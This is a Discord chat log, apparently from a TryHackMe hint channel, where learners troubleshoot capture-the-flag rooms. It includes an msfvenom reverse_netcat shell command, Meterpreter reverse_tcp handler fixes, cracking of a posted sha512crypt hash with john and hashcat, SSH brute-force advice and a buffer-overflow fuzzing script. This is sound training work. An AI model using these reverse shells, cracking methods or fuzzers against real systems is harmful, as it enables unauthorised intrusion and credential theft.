stuck fractal Aug 16, 2020, 12:46 AM

#

@agile whale In the image

agile whale Aug 16, 2020, 12:46 AM

#

hmmm OK

heavy anvil Aug 16, 2020, 12:47 AM

#

is it first.txt or second.txt

#

were are you stuck?

agile whale Aug 16, 2020, 12:53 AM

#

James are if you are referring to the string with that "!" and the password required to extract it that I already found that.

stuck fractal Aug 16, 2020, 12:53 AM

#

Yea

#

zero width in that file

#

then #resources

heavy anvil Aug 16, 2020, 12:59 AM

#

@agile whale the last flag is hidden in an image

agile whale Aug 16, 2020, 1:00 AM

#

yep I just found it

thin sorrel Aug 16, 2020, 1:00 AM

#

For intro to x86 task 7 question 1 . I have tried to analyze what the binary does with the password i only noticed thst extra bytes are added .

white salmon Aug 16, 2020, 1:00 AM

#

ok I give up ... but thank you for your help ☹️

agile whale Aug 16, 2020, 1:01 AM

#

I didn't open the extracted file with a hex editor so didn't notice the extra data

#

at the time

stuck fractal Aug 16, 2020, 1:01 AM

#

I didn't open the extracted file with a hex editor so didn't notice the extra data
@agile whale I have plugins for it, and I think my text editor picked up on it

heavy anvil Aug 16, 2020, 1:01 AM

#

@white salmon sometimes taking some rest and starting a new is good

agile whale Aug 16, 2020, 1:03 AM

#

I would have just cat the file at the time, didn't know cat supported unicode

white salmon Aug 16, 2020, 1:03 AM

#

@heavy anvil certainly ... it's just that it's annoying to leave an incomplete room

stuck fractal Aug 16, 2020, 1:03 AM

#

I would have just cat the file at the time, didn't know cat supported unicode
@agile whale Probably depends on your terminal

dull pulsar Aug 16, 2020, 1:29 AM

#

hints on anonymous playground?

#

ive been trying the harder boxes but they seem to be very difficult

verbal wedge Aug 16, 2020, 1:32 AM

#

Where are you stuck?

#

It's still new so hints will be sparse

grand pivot Aug 16, 2020, 3:25 AM

#

hey everyone

#

im at smaggrotto and i have a trouble

stuck fractal Aug 16, 2020, 3:26 AM

#

What's up?

grand pivot Aug 16, 2020, 3:26 AM

#

i was trying to get in ||development.smag.thm/login.php|| and im not getting a response

#

i'd edit my hosts file

#

but nothing. I tried editing it a couples of times and copy-pasting the address

stuck fractal Aug 16, 2020, 3:27 AM

#

What's in your hosts file?

grand pivot Aug 16, 2020, 3:27 AM

#

but no luck

jagged musk Aug 16, 2020, 3:28 AM

#

Reg :Tartarus , injecting !/bin/sh in the git privilege escalation, throwing !/bin/sh: not found error. Any one encountered this? Can anyone guide me ?

grand pivot Aug 16, 2020, 3:28 AM

#

📎 SPOILER_Sin_titulo.png

oblique cliff Aug 16, 2020, 3:28 AM

#

You need the virtual host in there too

#

Reg :Tartarus , injecting !/bin/sh in the git privilege escalation, throwing !/bin/sh: not found error. Any one encountered this? Can anyone guide me ?
@jagged musk it’s called a shebang

#

Cuz the syntax is #!

jagged musk Aug 16, 2020, 3:29 AM

#

trying now.

stuck fractal Aug 16, 2020, 3:30 AM

#

So development.smag.thm is a subdomain of smag.thm. Using DNS, they can resolve to a different IP address or the same IP address. Your hosts file needs the subdomain, in order to make development.smag.thm actually resolve to the right IP @grand pivot

grand pivot Aug 16, 2020, 3:31 AM

#

oh right

#

i forgot it

#

thanks

jagged musk Aug 16, 2020, 4:03 AM

#

@jagged musk it’s called a shebang
@oblique cliff Thanks Sir Blob!

burnt cosmos Aug 16, 2020, 6:48 AM

#

Might be too early to ask for a nudge on harder, but I've found the ||php files|| on the ||pwd domain||, but I've got no clue where to go from here

round rampart Aug 16, 2020, 7:21 AM

#

What parameter allows us to generate a POC(actual exploit) in xsrfprobe ?

gusty hedge Aug 16, 2020, 7:23 AM

#

Might be too early to ask for a nudge on harder, but I've found the ||php files|| on the ||pwd domain||, but I've got no clue where to go from here
@burnt cosmos
Just read the source code of the files and try to bypass the security functions

boreal wren Aug 16, 2020, 8:06 AM

#

hi guys i need pointer for room harder....stuck at enumerating use gobuster, nikto but didnt find anything ! to get in

trim haven Aug 16, 2020, 8:13 AM

#

!rule 13

proud scarabBOT Aug 16, 2020, 8:13 AM

#

Rule 13: When asking for help/tech support please perform research to your fullest ability. Mods and Community Mentors have the right to refuse helping those who have not done troubleshooting/research on their own first. Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.

Although we are a a learning platform, we politely ask that you respect the competitive nature of newly released challenges. As such, no hints for new challenge boxes should be given immediately after a release, unless specifically allowed by the content creator.

trim haven Aug 16, 2020, 8:13 AM

#

@boreal wren

gusty hedge Aug 16, 2020, 8:17 AM

#

As mentioned in the description. Closely take a look at every request. Love the instant rule 13 messages xD

boreal wren Aug 16, 2020, 8:18 AM

#

👍

lucid crescent Aug 16, 2020, 10:42 AM

#

can someone tell me how to get password from that cipher text in anonymous playground room

glossy basin Aug 16, 2020, 10:43 AM

#

Try ciphey

#

Also, do not ask questions about new rooms, please

lucid crescent Aug 16, 2020, 10:45 AM

#

i dont think it is new room

#

past 4 days from launch of the room

verbal wedge Aug 16, 2020, 11:07 AM

#

I can tell you Ciphey won't get it

#

Most likely

burnt cosmos Aug 16, 2020, 11:44 AM

#

I haven't done the box so take my words with a grain of salt but cyberchef is always a shout

green merlin Aug 16, 2020, 11:46 AM

#

Seeking a hint. I'm working on The Cod Caper - Task 5 - #3. Searched all files owned by pingu, no password found. Private key requires password. Am I missing something? Thanks

trim haven Aug 16, 2020, 11:47 AM

#

Don't know how much of a hint you need but if the private key needs a password I'd look into ssh2john @green merlin

verbal wedge Aug 16, 2020, 11:49 AM

#

It won't be on Cyberchef either

#

Jus sayin

fleet pike Aug 16, 2020, 2:26 PM

#

Is the "harder" foothold a result of data mining/discovery, or an enumeration attack, or somethign else entirely

#

i've got the daemon versions, a list of users, a vhostname, a slew of useless cve's for said services.. I'm not sure if i'm supposed to tackle daemons, or try to brute force users .. but dont want an outright answer yet

gentle mural Aug 16, 2020, 2:39 PM

#

harder is a new room, so I can only say: read the hints in the description carefully

chrome sand Aug 16, 2020, 3:38 PM

#

Looking for a hint on: Set. I have a list of users, but not sure what to do with them except to brute force passwords, which does not seem correct.

white salmon Aug 16, 2020, 6:03 PM

#

Can i ask about harder?

white salmon Aug 16, 2020, 6:20 PM

#

I get stucked

toxic scarab Aug 16, 2020, 6:21 PM

#

the room is only 1 day old. no hints or help yet

white salmon Aug 16, 2020, 6:21 PM

#

It's okay

limber iron Aug 16, 2020, 6:34 PM

#

anyone did the anonymous_v3 ?

stuck fractal Aug 16, 2020, 8:23 PM

#

@gilded pasture https://github.com/magnumripper/JohnTheRipper/issues/2125

GitHub

Possible to crack salted-sha512? · Issue #2125 · magnumripper/JohnT...

if not can it be implemented? Sha512($password.$salt)

#

It's not a challenge box so

#

It's easier with hashcat IMO

gilded pasture Aug 16, 2020, 8:24 PM

#

trying with john

stuck fractal Aug 16, 2020, 8:24 PM

#

Then that link should help

gilded pasture Aug 16, 2020, 8:24 PM

#

yep, checked, but i'm having problems with rockyou

stuck fractal Aug 16, 2020, 8:25 PM

#

It's in there, just fine

gilded pasture Aug 16, 2020, 8:25 PM

#

yep, but it's not working

#

john is not letting me use that

stuck fractal Aug 16, 2020, 8:26 PM

#

make sure you're using --wordlist=/usr/share/rockyou.txt

#

you need --wordlist=

#

John is fussy

gilded pasture Aug 16, 2020, 8:26 PM

#

.

stuck fractal Aug 16, 2020, 8:26 PM

#

~~pg13~~

gilded pasture Aug 16, 2020, 8:26 PM

#

wtf it's stopping immediatly

#

sorry

#

📎 Screenshot_2020-08-16_at_22.26.59.png

stuck fractal Aug 16, 2020, 8:27 PM

#

DM me the contents of your hash file

#

I can confirm it will crack almost immediately tho

cursive timber Aug 16, 2020, 9:38 PM

#

Geez I hope I m not just super blind but even with the hint I cant find the answer.. Completed the hole room except this one question..
Room: rpburpsuite
Would be great if someone could give me a hint

📎 Bildschirmfoto_2020-08-16_um_23.36.11.png

mortal kernel Aug 16, 2020, 9:42 PM

#

I just did that

#

Further up the task, it mentions uses for comparer and how we can use it

#

What might be different for different users?

cursive timber Aug 16, 2020, 9:46 PM

#

ugh I got it oof
thank you very much! pepehands

#

solved so much stuff before but failed at that ;D

mortal kernel Aug 16, 2020, 9:47 PM

#

No problem. Glad you got it!

hardy matrix Aug 16, 2020, 10:53 PM

#

Should i be using metasploit on easy ctf?

#

and I should be attacking the web server first righttt?

gusty hedge Aug 16, 2020, 10:59 PM

#

I get stucked
@white salmon

Harder has a community write-up. The hints should be fine...it's all about enumeration.

white salmon Aug 16, 2020, 11:02 PM

#

Thanks but i found some weird things

#

And where is?

stuck fractal Aug 16, 2020, 11:03 PM

#

Writeups are on the room page.

gusty hedge Aug 16, 2020, 11:04 PM

#

Told us about the weird things

white salmon Aug 16, 2020, 11:04 PM

#

But i will try more

#

before read the writeup

gusty hedge Aug 16, 2020, 11:06 PM

#

Checkout the "known issues" for this room too

white salmon Aug 16, 2020, 11:07 PM

#

who made the known issues

#

he says .htb and we are in tryhackme lmao

stuck fractal Aug 16, 2020, 11:08 PM

#

Harder was a rejected HackTheBox challenge box

gusty hedge Aug 16, 2020, 11:09 PM

#

The machine contains breadcrumbs with htb TLD...bc it was rejected on htb. I will fix this later

white salmon Aug 16, 2020, 11:09 PM

#

Ok i see

#

The room is realistic

gusty hedge Aug 16, 2020, 11:09 PM

#

The hackthebox team was not able to deploy the target Linux distro...the content was fine.

white salmon Aug 16, 2020, 11:10 PM

#

But the diffculty isn't medium, it's hard

gusty hedge Aug 16, 2020, 11:10 PM

#

It was set to hard by me before releasing...the thm team decided to go medium

white salmon Aug 16, 2020, 11:10 PM

#

lol

#

daily budge is easier than harder

#

and daily is harder

gusty hedge Aug 16, 2020, 11:11 PM

#

Not my decision making

white salmon Aug 16, 2020, 11:12 PM

#

Yes i know

#

Doesn't matter, the important is the room

wooden mist Aug 16, 2020, 11:13 PM

#

some thm hard boxes are actually medium ones but this one is defo a medium one imo

patent citrus Aug 16, 2020, 11:13 PM

#

Hi, anybody did here the https://tryhackme.com/room/malresearching room? I am stuck with Task4 Question2 (all the other questions have been solved), I have tested many answers and none of them worked. I don't know if it is a problem I have with the content or with the language (I am not native speaker)

TryHackMe

TryHackMe | MAL: Researching

Understanding checksums, how to generate them and their use throughout malware analysis with online sandboxing & reporting services

gusty hedge Aug 16, 2020, 11:14 PM

#

some thm hard boxes are actually medium ones but this one is defo a medium one imo
@wooden mist
Depends on your knowledge base...

patent citrus Aug 16, 2020, 11:14 PM

#

I would like to have a small hint to knock this room

wooden mist Aug 16, 2020, 11:14 PM

#

yes it does, but this really wasn't a hard one imho

wind fog Aug 16, 2020, 11:19 PM

#

Hey lads

#

im currently on the ToolsRus room

#

and am having a problem with the final part, the Metasploit section

#

📎 unknown.png

stuck fractal Aug 16, 2020, 11:20 PM

#

Wrong LHOST

wind fog Aug 16, 2020, 11:20 PM

#

I've taken a look at a guide and it's meant to connect to the session, any idea what I might be doing wrong?

stuck fractal Aug 16, 2020, 11:20 PM

#

Wrong. LHOST.

mortal kernel Aug 16, 2020, 11:20 PM

#

Can you show options?

wind fog Aug 16, 2020, 11:20 PM

#

📎 unknown.png

stuck fractal Aug 16, 2020, 11:21 PM

#

It's just a wrong lhost!

wind fog Aug 16, 2020, 11:21 PM

#

really? what is it meant to be?

stuck fractal Aug 16, 2020, 11:21 PM

#

your VPN IP

wind fog Aug 16, 2020, 11:21 PM

#

ah

mortal kernel Aug 16, 2020, 11:21 PM

#

Your LHOST needs your match your tun0 IP

stuck fractal Aug 16, 2020, 11:21 PM

#

You have it set to a virtualbox NAT IP

wind fog Aug 16, 2020, 11:21 PM

#

alright, I get it

stuck fractal Aug 16, 2020, 11:21 PM

#

The target can't talk to that

wind fog Aug 16, 2020, 11:21 PM

#

📎 unknown.png

#

which one should I use?

stuck fractal Aug 16, 2020, 11:21 PM

#

None of those

#

Your VPN needs to be running in Kali

wind fog Aug 16, 2020, 11:21 PM

#

hm?

stuck fractal Aug 16, 2020, 11:21 PM

#

Not in Windows

wind fog Aug 16, 2020, 11:21 PM

#

oh

#

really? I'm using a VM though

#

and I can enter into the site

mortal kernel Aug 16, 2020, 11:22 PM

#

VPN runs in the VM

stuck fractal Aug 16, 2020, 11:22 PM

#

There's an explanation pinned in #room-help

#

But run it in the VM

mortal kernel Aug 16, 2020, 11:22 PM

#

Grab your tun0 IP by throwing ip address into Terminal

stuck fractal Aug 16, 2020, 11:23 PM

#

ip a s tun0

wind fog Aug 16, 2020, 11:23 PM

#

says "tun0" doesn't exist

#

😦

stuck fractal Aug 16, 2020, 11:23 PM

#

Yes

#

Because you need to run the VPN in Kali

wind fog Aug 16, 2020, 11:24 PM

#

alright, let me try, thanks for the advice Ninja. 😻

stuck fractal Aug 16, 2020, 11:24 PM

#

We told you that. So it's not going to work until you fix that 😉

wind fog Aug 16, 2020, 11:24 PM

#

😉

#

📎 unknown.png

#

still no luck

#

I checked the fields and they're all correct

#

and "ip a s tun0" now works

stuck fractal Aug 16, 2020, 11:37 PM

#

It's telling you something else is wrong

#

So check your ports and passwords

wind fog Aug 16, 2020, 11:40 PM

#

any idea what it might be? cause everything here looks correct to me

#

📎 unknown.png

stuck fractal Aug 16, 2020, 11:41 PM

#

So check your ports and passwords
@stuck fractal

wind fog Aug 16, 2020, 11:41 PM

#

isn't 1234 correct?

stuck fractal Aug 16, 2020, 11:42 PM

#

I don't know. Check it.

wind fog Aug 16, 2020, 11:42 PM

#

yep, it's correct

#

hmmm

#

🤔

#

what is the lport for?

stuck fractal Aug 16, 2020, 11:42 PM

#

Google it

#

metasploit what is lport

wind fog Aug 16, 2020, 11:42 PM

#

doing that as we speak

grand pivot Aug 16, 2020, 11:43 PM

#

hi everyone

#

im getting problems trying to get a meterpreter shell with a room

#

/hackpark

stuck fractal Aug 16, 2020, 11:44 PM

#

Haha. Ha. Ha. Hackpark

grand pivot Aug 16, 2020, 11:44 PM

#

📎 SPOILER_Kali-2020-08-16-20-42-55.png

stuck fractal Aug 16, 2020, 11:44 PM

#

I'm not surprised tbh

#

How did you generate your shell?

grand pivot Aug 16, 2020, 11:44 PM

#

its just dying

#

with msfvenom

stuck fractal Aug 16, 2020, 11:44 PM

#

What payload did you generate?

grand pivot Aug 16, 2020, 11:45 PM

#

||windows/x64/meterpreter/reverse_tcp||

stuck fractal Aug 16, 2020, 11:45 PM

#

show options in your multi handler and paste a screenshot please

grand pivot Aug 16, 2020, 11:46 PM

#

📎 SPOILER_Kali-2020-08-16-20-46-00.png

stuck fractal Aug 16, 2020, 11:46 PM

#

Change the payload in multi handler to the same payload that you generated

patent token Aug 16, 2020, 11:46 PM

#

~~and maybe try an unstaged payload if that doesn't work~~

grand pivot Aug 16, 2020, 11:47 PM

#

Change the payload in multi handler to the same payload that you generated
@stuck fractal there it is!!!

wind fog Aug 16, 2020, 11:47 PM

#

hey, do you think it might be something with my wifi that's causing my metasploit to not work?

grand pivot Aug 16, 2020, 11:47 PM

#

sometimes i get stuck with just stupid things

wind fog Aug 16, 2020, 11:47 PM

#

is that maybe possible?

#

😟

stuck fractal Aug 16, 2020, 11:47 PM

#

@wind fog No. Because the VPN eliminates that.

grand pivot Aug 16, 2020, 11:47 PM

#

thank you for your patience

stuck fractal Aug 16, 2020, 11:47 PM

#

It's something that's got me before

wind fog Aug 16, 2020, 11:48 PM

#

alright, I shall keep on investigating 🕵️

stuck fractal Aug 16, 2020, 11:48 PM

#

Run the VPN troubleshooting script

wind fog Aug 16, 2020, 11:48 PM

#

oh, it has one?

#

let me find it

stuck fractal Aug 16, 2020, 11:49 PM

#

#bot-commands !vpnscript

wind fog Aug 16, 2020, 11:55 PM

#

Ei lads

📎 unknown.png

#

I'm back again

stuck fractal Aug 16, 2020, 11:56 PM

#

Reboot your VM

#

Make sure the VPN isn't running in Windows

#

Not in that order

wind fog Aug 16, 2020, 11:56 PM

#

alright

#

holy fek! Yes, it finally worked! Only took 4 hours

#

thanks for the advice Ninja

#

you da best 😉

mortal kernel Aug 17, 2020, 12:33 AM

#

Heeyy you got it. Good on you. 🙂

inner jackal Aug 17, 2020, 9:01 AM

#

Exploiting Telnet. I have my Kali Machine with Vpn, telnet is ok, i can sniff traffic, on my local machine i execute: msfvenom -p cmd/unix/reverse_netcat lhost= "my kali vpn ip address" lport=4444 R

In the telnet session i execute .RUN the result of msfvenom, but nothing happens.

lucid crescent Aug 17, 2020, 9:47 AM

#

i need help to cracking password in overpass2 can some one help me ??

#

||$ echo '$6$7GS5e.yv$HqIH5MthpGWpczr3................................GX.5PyMpzAYo3Cg/' > hash.hash
$ sudo john -w=rockyou.txt hash.hash
[sudo] password for secret:
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status||
it wont be crack will it need much time to crack??

keen willow Aug 17, 2020, 9:56 AM

#

can playing fair could be a hint of anonymous ? lol, i am not asking for hints, but just confirming one.

oblique shuttle Aug 17, 2020, 1:04 PM

#

@lucid crescent it should crack very quickly.. check you have the right format? and I always use --wordlist=/..... as JTR is fussy on this ... https://github.com/magnumripper/JohnTheRipper/issues/2125

GitHub

Possible to crack salted-sha512? · Issue #2125 · magnumripper/JohnT...

if not can it be implemented? Sha512($password.$salt)

lucid crescent Aug 17, 2020, 1:56 PM

#

ok @oblique shuttle

obsidian fog Aug 17, 2020, 2:00 PM

#

@lucid crescent also make sure that you are adding salt with the password. It should be cracked in max min or so.

lucid crescent Aug 17, 2020, 2:02 PM

#

ok

median compass Aug 17, 2020, 2:18 PM

#

hashcat might be easier @lucid crescent, with the salt it cracks in just a minute or less

keen willow Aug 17, 2020, 2:18 PM

#

any good hint out on anonynous playground initial foothold ? i am out of ideas on decipher the lowercaseUppercase string.

woven mirage Aug 17, 2020, 2:19 PM

#

check the names on the first page

keen willow Aug 17, 2020, 2:19 PM

#

check the usernames
@woven mirage for me ?

woven mirage Aug 17, 2020, 2:19 PM

#

@woven mirage for me ?
@keen willow yes

steady elm Aug 17, 2020, 2:20 PM

#

Trying to solve overpass 2 and got stuck for 2 hours on the Task 1 last question to crack hash. I have found the hashes and pretty sure what mode i have to use with hashcat but dont know why it is not working
can anyone help?

lucid crescent Aug 17, 2020, 2:20 PM

#

hashcat might be easier @lucid crescent, with the salt it cracks in just a minute or less
@median compass a peoblem with hashcat is my GPU

#

im not using GPU in my linux

#

so hashcat wont work

woven mirage Aug 17, 2020, 2:20 PM

#

Trying to solve overpass 2 and got stuck for 2 hours on the Task 1 last question to crack hash. I have found the hashes and pretty sure what mode i have to use with hashcat but dont know why it is not working
can anyone help?
@steady elm are you putting the salt in the hash?

median compass Aug 17, 2020, 2:21 PM

#

yes, but it doesn't have to check a lot, i ran it in the VM not on my host and it cracked just fine

#

i.e. no GPU

lucid crescent Aug 17, 2020, 2:21 PM

#

ok maybe i will install graphic driver

steady elm Aug 17, 2020, 2:22 PM

#

@steady elm are you putting the salt in the hash?
@woven mirage hashcat i am using 1710 and this is the hash $6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7::: I get token length exception error

lucid crescent Aug 17, 2020, 2:22 PM

#

i.e. no GPU
@median compass hashcat is using GPU if u run it on ur own OS it wont work, else if u run it on ur vm it will work because ur vm has GPU and dont need driver

median compass Aug 17, 2020, 2:24 PM

#

@median compass hashcat is using GPU if u run it on ur own OS it wont work, else if u run it on ur vm it will work because ur vm has GPU and dont need driver
@lucid crescent Pretty sure it will run on CPU too - https://hashcat.net/forum/thread-8269.html

lucid crescent Aug 17, 2020, 2:24 PM

#

not sure but as i know it need GPU

median compass Aug 17, 2020, 2:25 PM

#

@steady elm I don't recognise the hash you're trying to break there, that could be the problem

lucid crescent Aug 17, 2020, 2:25 PM

#

i dont use hashcat really much

median compass Aug 17, 2020, 2:26 PM

#

This is what I get when I run hashcat -I on my VM, no GPU to be seen
`
kali@dense merlin:~/Documents/TryHackMe/LookingGlass$ hashcat -I
hashcat (v6.0.0) starting...

OpenCL Info:

OpenCL Platform ID #1
Vendor..: The pocl project
Name....: Portable Computing Language
Version.: OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG

Backend Device ID #1
Type...........: CPU
Vendor.ID......: 1
Vendor.........: AuthenticAMD
Name...........: pthread-AMD Ryzen 7 2700X Eight-Core Processor
Version........: OpenCL 1.2 pocl HSTR: pthread-x86_64-pc-linux-gnu-znver1
Processor(s)...: 8
Clock..........: 3700
Memory.Total...: 10179 MB (limited to 4096 MB allocatable in one block)
Memory.Free....: 10115 MB
OpenCL.Version.: OpenCL C 1.2 pocl
Driver.Version.: 1.5
`

#

anyway, doesn't matter I guess, if it doesn't work for you it doesn't work! 🙂

woven mirage Aug 17, 2020, 2:38 PM

#

@woven mirage hashcat i am using 1710 and this is the hash $6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7::: I get token length exception error
@steady elm ah sorry, i though you were speaking about another question

#

not all hashes you will be able to break

#

the question asks how many you can break

#

and also the hash is not that long

#

:18464:0:99999:7::: this isn't a part of the hash

keen willow Aug 17, 2020, 2:41 PM

#

@keen willow yes
@woven mirage shall i consider it to the reply of my msg (i.e. decipher lowercaseUppercase), or a brand new hint ?

woven mirage Aug 17, 2020, 2:42 PM

#

a reply to the message

#

you know how one character is decoded

#

try to guess wich word could be made from the characters you know and then find a logic to discover the rest

verbal wedge Aug 17, 2020, 2:53 PM

#

I'm just glad people figured it out lol

fossil iris Aug 17, 2020, 2:56 PM

#

Hi, may i have some question about box HaskHell?

#

I try to upload the reverse shell in directory ||submit|| however I got this error?

📎 unknown.png

oblique cliff Aug 17, 2020, 2:59 PM

#

What format is your file

fossil iris Aug 17, 2020, 3:00 PM

#

haskell file

#

.hs

oblique cliff Aug 17, 2020, 3:01 PM

#

Were you able to get the server to run any other Haskell files?

fossil iris Aug 17, 2020, 3:01 PM

#

let me try

eternal brook Aug 17, 2020, 3:05 PM

#

Can we ask hints for harder rn?

woven mirage Aug 17, 2020, 3:06 PM

#

well the room has a writeup accepted doesnt it?

trim haven Aug 17, 2020, 3:06 PM

#

I believe you can @eternal brook

eternal brook Aug 17, 2020, 3:08 PM

#

Don't wanna see the write-up now...

#

Oh ok

woven mirage Aug 17, 2020, 3:08 PM

#

well the room has a writeup accepted doesnt it?
@woven mirage just clarifying that this message looks like i'm telling you to check the writeup, i meant to say that if it has a writeup accepted you can ask questions

eternal brook Aug 17, 2020, 3:08 PM

#

Yeah I also saw that rn

#

It's a new room so I thought maybe like other rooms write-ups and questions will be closed for a while

quiet yarrow Aug 17, 2020, 3:09 PM

#

can anyone tell me if i am doing something wrong

#

Room: Steel Mountain

📎 SPOILER_vmware_FUEHmtvce3.png

stuck fractal Aug 17, 2020, 3:11 PM

#

Yes you did

#

You downloaded the web page rather than downloading the file @quiet yarrow

quiet yarrow Aug 17, 2020, 3:11 PM

#

ohhhh ok

#

thanks james

eternal brook Aug 17, 2020, 3:12 PM

#

So yeah I haven't got much out from the room I see lot of for that eventually look all the same || I just saw one kinda re direction to port 8080 /vendor || so re scanned the port is closed ran a script to scan all those dirs again but can't find anything useful...

#

Harder is the room

woven mirage Aug 17, 2020, 3:12 PM

#

check the http requests

#

there is something on the requests that isnt being used by the website but gives useful info

eternal brook Aug 17, 2020, 3:14 PM

#

Ohk alright thanks I'll check :)

#

Got it thanks termack :)

#

Just a question is that supposed to be real?

#

Like box says it's similar to real world pentest...

woven mirage Aug 17, 2020, 3:23 PM

#

the creator of the box said it is

stuck fractal Aug 17, 2020, 3:23 PM

#

#522158404614225920 message

woven mirage Aug 17, 2020, 3:23 PM

#

^

hasty zodiac Aug 17, 2020, 4:07 PM

#

Anyone who could give me a hint for VulnVersity Recon?
Using the nmap flag -n what will it not resolve?

trim haven Aug 17, 2020, 4:07 PM

#

man nmap

hasty zodiac Aug 17, 2020, 4:08 PM

#

In the time I read the manpage, the machine will go down 😅

stuck fractal Aug 17, 2020, 4:08 PM

#

Extend it.

hasty zodiac Aug 17, 2020, 4:10 PM

#

ohhhhhhhhhhhhhhhhhhhhh

#

thanks Jabba pepeHeart

limber iron Aug 17, 2020, 4:11 PM

#

Hints on the Anonymous_v3 ?

trim haven Aug 17, 2020, 4:18 PM

#

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

stuck fractal Aug 17, 2020, 4:22 PM

#

Also, that's the machine title rather than the room name

#

Use the room name or room code

limber iron Aug 17, 2020, 4:30 PM

#

Okey sure, i'm currently decrypting the cipher, i know the pattern used and i know the user involved.

atomic shuttle Aug 17, 2020, 4:41 PM

#

can i pm you on looking-glass @lusty wigeon ? im at the final user. still enumerating

lusty wigeon Aug 17, 2020, 4:42 PM

#

i don't wanna spam rule13 but lets just wait till the day end before hints

eternal timber Aug 17, 2020, 4:43 PM

#

Found a box that seems to have a brute force (brute force on an SSH port with a known user). The next flag is a password of 7 characters so I'm assuming it will just be a weak creds within top 10k or something like that.

I can brute force every 7char password from the top 10million passwords, but any suggestions before I start off a big ol hydra brute force?

atomic shuttle Aug 17, 2020, 4:43 PM

#

aa sure, i'll give myself somemore time to enumerate

real rock Aug 17, 2020, 4:45 PM

#

So please slap me on the back of the hand if this question doesn't belong here. This isn't so much to get an answer as I don't quit get a comment made. In "HTTP Web Fundamentals @stuck fractal says, "you can tell I performed the request from (chrome version 80, from Windows 10)...

My issue is I do see that but I also see Mozilla, Safari etc... I think its supposed to be so obvious that I can't find info only to explain this but its going over my head.

stuck fractal Aug 17, 2020, 4:45 PM

#

@eternal timber Room?

real rock Aug 17, 2020, 4:45 PM

#

📎 unknown.png

eternal timber Aug 17, 2020, 4:46 PM

#

@stuck fractal https://tryhackme.com/room/basicpentestingjt

TryHackMe

TryHackMe | Basic Pentesting

This is a machine that allows you to practise web app hacking and privilege escalation

stuck fractal Aug 17, 2020, 4:46 PM

#

It's the User Agent, it tells the server a bunch of stuff @real rock

#

@eternal timber Try some brute force them

#

In rockyou

eternal timber Aug 17, 2020, 4:46 PM

#

Yeah I assumed as much

#

Just wanted to see if there was something I was missing before I just threw a brute force at it lol

stuck fractal Aug 17, 2020, 4:47 PM

#

@real rock So it's the bit that says Chrome 80

real rock Aug 17, 2020, 4:47 PM

#

Yeah I see the User-Agent but the first thing I see after is Mozilla

stuck fractal Aug 17, 2020, 4:47 PM

#

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent

MDN Web Docs

User-Agent

The User-Agent request header is a characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.

#

There's a breakdown of what each part means

real rock Aug 17, 2020, 4:47 PM

#

Oh wow thank you Ninja

stuck fractal Aug 17, 2020, 4:47 PM

#

Mozilla docs are wonderful

real rock Aug 17, 2020, 4:47 PM

#

I will do that one immediately

#

Ty, favorited the website

keen willow Aug 17, 2020, 4:53 PM

#

i am not able to overflow gatekeeper binary, while sending data by 'nc' it works well, but when i try to do it with python only sending works.

#

anyone willing to help, i can provide screenshots.

oblique cliff Aug 17, 2020, 4:54 PM

#

Sure screenshots

limber iron Aug 17, 2020, 4:55 PM

#

No one wants to help ? okay thanks.

eternal timber Aug 17, 2020, 4:58 PM

#

@stuck fractal Yeah, rockyou got it pretty quick, also TIL rockyou has 2.5 million 7 character passwords in it

stuck fractal Aug 17, 2020, 4:58 PM

#

Typically for THM, brute force is meant to take under 5 minutes

#

Definitely with any newer boxes

eternal timber Aug 17, 2020, 4:59 PM

#

Yeah, any challenges I make (outside of THM) I try to stray away from brute force due to the uncertantiy of it.

oblique cliff Aug 17, 2020, 5:00 PM

#

What about port scanning? @stuck fractal kekw

stuck fractal Aug 17, 2020, 5:00 PM

#

Hey, that's not in the rule @oblique cliff

#

Your fault for not using threader or rustscan

oblique cliff Aug 17, 2020, 5:00 PM

#

I do use threader

#

Jokes on you

stuck fractal Aug 17, 2020, 5:00 PM

#

Be glad I didn't set it to 10k

oblique cliff Aug 17, 2020, 5:01 PM

#

Jokes double on you cuz I just don’t attempt your boxes until months after they’re out cuz I’m a dumb dumb

keen willow Aug 17, 2020, 5:01 PM

#

Sure screenshots
@oblique cliff this is when i use netcat.

📎 Screenshot_from_2020-08-17_22-25-49.png

#

i see bytes sent.

oblique cliff Aug 17, 2020, 5:01 PM

#

Show the commands you’re using not just the output

keen willow Aug 17, 2020, 5:02 PM

#

nc IP PORT

oblique cliff Aug 17, 2020, 5:03 PM

#

The python commands

keen willow Aug 17, 2020, 5:03 PM

#

`#!/usr/bin/python
import sys,socket,time
from time import sleep

buffer = "A" * 50

while True:
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('IP_ADDR', 31337))
print "sending %s bytes \r\n" % str(len(buffer))
s.send(buffer)
s.recv(1024)
s.close()
buffer = buffer + ("A" * 50);
except Exception as e:
print e
print "Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()
time.sleep(1)
`

oblique cliff Aug 17, 2020, 5:06 PM

#

Screenshots are so much better 😱

keen willow Aug 17, 2020, 5:07 PM

#

no bytes sent.

📎 Screenshot_from_2020-08-17_22-30-00.png

oblique cliff Aug 17, 2020, 5:07 PM

#

whats the IP address youre using

#

and whats the output of the python script youre running

keen willow Aug 17, 2020, 5:11 PM

#

